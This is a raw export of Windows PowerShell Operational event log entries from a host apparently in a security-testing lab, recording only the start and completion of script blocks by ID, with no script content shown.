SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035501
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035500
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035499
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035498
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035497
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035496
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035495
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035494
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035493
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035492
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035491
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035490
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035489
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035488
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035487
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035486
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035485
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035484
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035483
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035482
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035481
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035480
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035479
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035478
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035477
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035476
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035475
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035474
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035473
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035472
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035471
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035470
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035469
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035468
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035467
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035466
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035465
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035464
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035463
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035462
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035461
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035460
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035459
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035458
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035457
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035456
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035455
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035454
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035453
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035452
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035451
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035450
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035449
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035448
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
